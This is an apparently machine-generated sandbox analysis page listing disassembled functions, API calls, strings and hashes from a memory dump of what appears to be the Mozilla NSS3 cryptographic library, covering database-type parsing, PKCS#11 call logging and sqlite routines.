Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 53f2ccccfeedcb9596a5b0d849e923b533451c12a6b055b01f2987446230b8c2
Instruction ID: 517137635b60ac597447417a514fc6da2968a4c7f31e0d494087c0cd97c44ee6
Opcode Fuzzy Hash: 53f2ccccfeedcb9596a5b0d849e923b533451c12a6b055b01f2987446230b8c2
Instruction Fuzzy Hash: 053125B5F44111ABEB609F65DC41B15B775EB0A30CB388125E80597B41F732E828CBF1

Function 6CEC6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEC781D,00000000,6CEBBE2C,?,6CEC6B1D,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEC781D,?,6CEBBE2C,?), ref: 6CEC6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEC6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEC6C96

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEC6CAA

Strings

dbm:, xrefs: 6CEC6C3A
dbm, xrefs: 6CEC6CA4
rdb:, xrefs: 6CEC6C69
sql:, xrefs: 6CEC6C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CEC6C91
extern:, xrefs: 6CEC6C7E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: e0a76da2805265a14935920d311423179bcd70fe5fde0b18b430d4420813a058
Instruction ID: fd13089ff6d4975144c057f4288f4e266dd9ff65d2835dce6aa4b068309566c2
Opcode Fuzzy Hash: e0a76da2805265a14935920d311423179bcd70fe5fde0b18b430d4420813a058
Instruction Fuzzy Hash: 2D0184E1B0230367E95026795E4AF67366D9F8125CF340432FE14E0A81EA92E92540A7

Function 6CED4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE978F8), ref: 6CED4E6D

Part of subcall function 6CE709E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE706A2,00000000,?), ref: 6CE709F8
Part of subcall function 6CE709E0: malloc.MOZGLUE(0000001F), ref: 6CE70A18
Part of subcall function 6CE709E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE70A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE978F8), ref: 6CED4ED9

Part of subcall function 6CEC5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CEC7703,?,00000000,00000000), ref: 6CEC5942
Part of subcall function 6CEC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CEC7703), ref: 6CEC5954
Part of subcall function 6CEC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC596A
Part of subcall function 6CEC5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC5984
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CEC5999
Part of subcall function 6CEC5920: free.MOZGLUE(00000000), ref: 6CEC59BA
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CEC59D3
Part of subcall function 6CEC5920: free.MOZGLUE(00000000), ref: 6CEC59F5
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CEC5A0A
Part of subcall function 6CEC5920: free.MOZGLUE(00000000), ref: 6CEC5A2E
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CEC5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4EB3

Part of subcall function 6CED4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CED4EB8,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED484C
Part of subcall function 6CED4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CED4EB8,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED486D
Part of subcall function 6CED4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CED4EB8,?), ref: 6CED4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4EC0

Part of subcall function 6CED4470: TlsGetValue.KERNEL32(00000000,?,6CE97296,00000000), ref: 6CED4487
Part of subcall function 6CED4470: EnterCriticalSection.KERNEL32(?,?,?,6CE97296,00000000), ref: 6CED44A0
Part of subcall function 6CED4470: PR_Unlock.NSS3(?,?,?,?,6CE97296,00000000), ref: 6CED44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CFADCB0,00000000), ref: 6CED4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CED501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED506B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 6b1956cb32180e7bbaf10f6d11cd61d59b8e5fd7f72ab68ae7b633f58ddf50e2
Instruction ID: 57899d1e3ed57ce816eadae2cb0f705758c2cfb85cc09ad495d7653cc89fca33
Opcode Fuzzy Hash: 6b1956cb32180e7bbaf10f6d11cd61d59b8e5fd7f72ab68ae7b633f58ddf50e2
Instruction Fuzzy Hash: EF51E4F5D01606ABEB119F24EC0169A37B4EF1531CF26463AEC0686B12FB32E556C6D2

Function 6CE7ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7ACE2
malloc.MOZGLUE(00000001), ref: 6CE7ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE7AD02
TlsGetValue.KERNEL32 ref: 6CE7AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE7AD8C
PR_Unlock.NSS3 ref: 6CE7ADC0
free.MOZGLUE(00000000), ref: 6CE7AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE7AE58
free.MOZGLUE(00000000), ref: 6CE7AE69
free.MOZGLUE(?), ref: 6CE7AE78
PR_Unlock.NSS3 ref: 6CE7AE8C
free.MOZGLUE(?), ref: 6CE7AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE7AEC7

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: d22271a4c045be488056f02054faa96c9c913519707c0b8d40be3970b952de9f
Instruction ID: 785f0795cfdfb338e75dc39601b51df4e74e5d131387ad1c9feff29b6f5835b2
Opcode Fuzzy Hash: d22271a4c045be488056f02054faa96c9c913519707c0b8d40be3970b952de9f
Instruction Fuzzy Hash: 0C51C0B0E502169BEFA0DFA9D9417AE7774FB0A34DF244026D908A3B01D731E945CBE2

Function 6CEBADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CEBADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEBAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAE29

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEBAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEBAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEBAEA0

Strings

hKey = 0x%x, xrefs: 6CEBAE62, 6CEBAE72
hSession = 0x%x, xrefs: 6CEBAE01, 6CEBAE11
C_MessageSignInit, xrefs: 6CEBADE1
(CK_INVALID_HANDLE), xrefs: 6CEBAE1F, 6CEBAE80

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 5f81fc340dbb7304b6ba7f2358abd0db225d8b44518e82648ce1a228fd7b594b
Instruction ID: 77f4e0033c885d3ea3d722553476335f0ee422d598d8d0a27fc42480a578b1c2
Opcode Fuzzy Hash: 5f81fc340dbb7304b6ba7f2358abd0db225d8b44518e82648ce1a228fd7b594b
Instruction Fuzzy Hash: 35311331A40108FBDF849F54DE88BBE7775AB4A30DF144428F408BBB11DB359949CBA1

Function 6CEB9EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CEB9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9F49

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEB9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CEB9FC0

Strings

hKey = 0x%x, xrefs: 6CEB9F82, 6CEB9F92
hSession = 0x%x, xrefs: 6CEB9F21, 6CEB9F31
C_MessageEncryptInit, xrefs: 6CEB9F01
(CK_INVALID_HANDLE), xrefs: 6CEB9F3F, 6CEB9FA0

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 285e4fe3200fe9b0b2e6dbca81893bc8f5acd84cec6334a9e43f551ef66d2015
Instruction ID: 12f25fda9e46ebd5e0584614f251aca874a3cc593a2b2ecc15ba8d4fa1185f43
Opcode Fuzzy Hash: 285e4fe3200fe9b0b2e6dbca81893bc8f5acd84cec6334a9e43f551ef66d2015
Instruction Fuzzy Hash: 6E313531A00209FBDB84DF54DE89BBE7776AB4A31CF144428F408B7B52DB359909CB91

Function 6CEB2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CEB2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB2E33

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEB2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEB2E81

Strings

hSession = 0x%x, xrefs: 6CEB2E0E, 6CEB2E1E
C_InitPIN, xrefs: 6CEB2DF1
ulPinLen = %d, xrefs: 6CEB2E7C
pPin = 0x%p, xrefs: 6CEB2E63
(CK_INVALID_HANDLE), xrefs: 6CEB2E2C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: d10c6209ac1e4cde95c0b7409536569d4c6ae22ce0ecc3df7acc943c59e73c10
Instruction ID: 0f7ab7017ab3785a0c1520070e8d4435af5e43d1da5e9cdff8ed811056763ff0
Opcode Fuzzy Hash: d10c6209ac1e4cde95c0b7409536569d4c6ae22ce0ecc3df7acc943c59e73c10
Instruction Fuzzy Hash: F1312371A11109BFDB85DB55DE4CB6A7B71EF4A31CF144028F808A7B11EB319D09CBA2

Function 6CEB6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CEB6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB6F53

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEB6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEB6FA1

Strings

ulPartLen = %d, xrefs: 6CEB6F9C
hSession = 0x%x, xrefs: 6CEB6F2E, 6CEB6F3E
pPart = 0x%p, xrefs: 6CEB6F83
C_DigestUpdate, xrefs: 6CEB6F11
(CK_INVALID_HANDLE), xrefs: 6CEB6F4C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 015cf8a33accb18336984266d61818c36542a67041e038d4aae3f668aa6fbe0b
Instruction ID: d57b0ab04a47425cf7bceda6fe871cdc17660218305b4d35c24464cb095c7236
Opcode Fuzzy Hash: 015cf8a33accb18336984266d61818c36542a67041e038d4aae3f668aa6fbe0b
Instruction Fuzzy Hash: 4B31F530A11104AFEB84DF64DE49B6A77B5EB4A31DF194428E908A7B11DF329D09CBA1

Function 6CEB7E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CEB7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB7E63

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEB7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEB7EB1

Strings

ulPartLen = %d, xrefs: 6CEB7EAC
hSession = 0x%x, xrefs: 6CEB7E3E, 6CEB7E4E
pPart = 0x%p, xrefs: 6CEB7E93
C_VerifyUpdate, xrefs: 6CEB7E21
(CK_INVALID_HANDLE), xrefs: 6CEB7E5C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: b941a911a876e7526e652883a3cbe5da7e43bc76663862cc2b2af2d21aafaf3e
Instruction ID: ca45575e47c90e8254e7e254fff3b91abf0d62262c44a8cac9b7ed44de7cf787
Opcode Fuzzy Hash: b941a911a876e7526e652883a3cbe5da7e43bc76663862cc2b2af2d21aafaf3e
Instruction Fuzzy Hash: E731F534E01109FFDB809B64DE48BAA7BB1AF4A31CF154428F808A7B11DB359D09CBA1

Function 6CEB7F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CEB7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB7F93

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEB7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CEB7FE1

Strings

C_VerifyFinal, xrefs: 6CEB7F51
hSession = 0x%x, xrefs: 6CEB7F6E, 6CEB7F7E
pSignature = 0x%p, xrefs: 6CEB7FC3
ulSignatureLen = %d, xrefs: 6CEB7FDC
(CK_INVALID_HANDLE), xrefs: 6CEB7F8C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: b91b0c5c8ca2aae900a5c233e48c73ee78f706b5bcfe9a0bb70258119aa65701
Instruction ID: e42e78d6be16deb21a1ffa2d7a2b97d938ffe1d786977b35fc31b73712dc9f83
Opcode Fuzzy Hash: b91b0c5c8ca2aae900a5c233e48c73ee78f706b5bcfe9a0bb70258119aa65701
Instruction Fuzzy Hash: 8A313730A01009FFEB84DB54DE49FAA7BB1EB4A31DF144425E808A7B11DB319D49CBB5

Function 6CF52D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF52D9F

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

sqlite3_exec.NSS3(?,?,6CF52F70,?,?), ref: 6CF52DF9
sqlite3_free.NSS3(00000000), ref: 6CF52E2C
sqlite3_free.NSS3(?), ref: 6CF52E3A
sqlite3_free.NSS3(?), ref: 6CF52E52
sqlite3_mprintf.NSS3(6CFBAAF9,?), ref: 6CF52E62
sqlite3_free.NSS3(?), ref: 6CF52E70
sqlite3_free.NSS3(?), ref: 6CF52E89
sqlite3_free.NSS3(?), ref: 6CF52EBB
sqlite3_free.NSS3(?), ref: 6CF52ECB
sqlite3_free.NSS3(00000000), ref: 6CF52F3E
sqlite3_free.NSS3(?), ref: 6CF52F4C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: be76ad09fd0f144738036b71b99f3caf06837b4043394bab7db215694cddf7b3
